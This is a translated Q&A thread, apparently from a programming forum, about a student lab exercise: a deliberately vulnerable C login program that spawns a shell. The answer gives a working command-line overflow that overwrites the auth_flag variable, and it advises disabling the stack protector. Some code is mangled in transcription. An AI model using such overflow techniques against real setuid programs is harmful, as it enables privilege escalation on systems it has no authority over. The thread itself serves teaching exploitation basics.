#c #buffer
#c #буфер
Вопрос:
Как выполнить атаку переполнения буфера для этого, чтобы получить root-доступ. Я попытался найти адрес, но не получил много зацепок в этом. Я отключил ASLR, а также не использовал указатель стека во время компиляции. когда я ввожу более 16 байт, это приводит к ошибке сегментации в gdb:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif
int check_authentication(char *username, char *password) {
int auth_flag = 0;
char team_var[TEAM_VAR_SIZE];
char username_buffer[16];
char password_buffer[16];
strcpy(username_buffer, username);
strcpy(password_buffer, password);
if(strcmp(username_buffer, "This doesn't matter") == 0 amp;amp; strcmp(password_buffer, "neither does this") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <username> <password>n", argv[0]);
exit(0);
}
if(TEAM_VAR_SIZE == 0) {
printf("nPlease set the Team Var before moving forward with the lab.n");
}
if(check_authentication(argv[1], argv[2]) == 1) {
printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
printf(" Access Granted.n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-nn");
system("/bin/sh");
} else {
printf("nAccess Denied.n");
}
}
Комментарии:
1. Вы не можете получить root-доступ с помощью эксплойта, если не получите root для выполнения кода.
2. У двоичного файла @Barmar могут быть root-права благодаря setuid
3. @AnisLadram Верно, но для этого требуется root, чтобы присвоить ему setuid. В какой-то момент вам нужно заставить root что-то сделать для вас.
4. Вот почему большинство эксплойтов с повышением привилегий связаны с ошибками переполнения буфера в системных демонах, потому что они обычно запускаются от имени root.
5. @Barmar это правильно, но рассматривайте это как упражнение для студентов. Вероятно, это направлено на изучение методов эксплойтов 🙂
Ответ №1:
Вы можете переписать auth_flag
, используя переполнение буфера, вызванное небезопасным strcpy(username_buffer, username)
. к username_buffer
длине (16) необходимо добавить 412 байт: 410 для team_var
буфера и 2 для заполнения (наименьшее кратное sizeof(int) = 4
, большее или равное 410, равно 412).
$ ./test "$(printf '%0*dx1' $((16 412)) 0)" "x"
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$
Если вы столкнулись со следующей ошибкой:
*** stack smashing detected ***: <unknown> terminated
затем вам нужно скомпилировать вашу программу, используя следующий флаг GCC: -fno-stack-protector
. Canaries — это меры безопасности, предотвращающие переполнение буфера в стеке злоумышленниками. Он добавляет случайное значение в конец ваших буферов, чтобы пользователь не мог переписать обратный адрес и / или переменные в стеке.
Комментарии:
1. Что я должен ввести, если размер команды будет 440?
2. @Anonymous Я думаю, 440? поскольку 110 * 4 = 440. Не стесняйтесь играть с этим: попробуйте numbers, пока вам не будет предоставлен доступ (больше, если ничего не происходит, меньше, если он прерывается).
3. Спасибо, Анис, я сделал это. Я ценю вашу помощь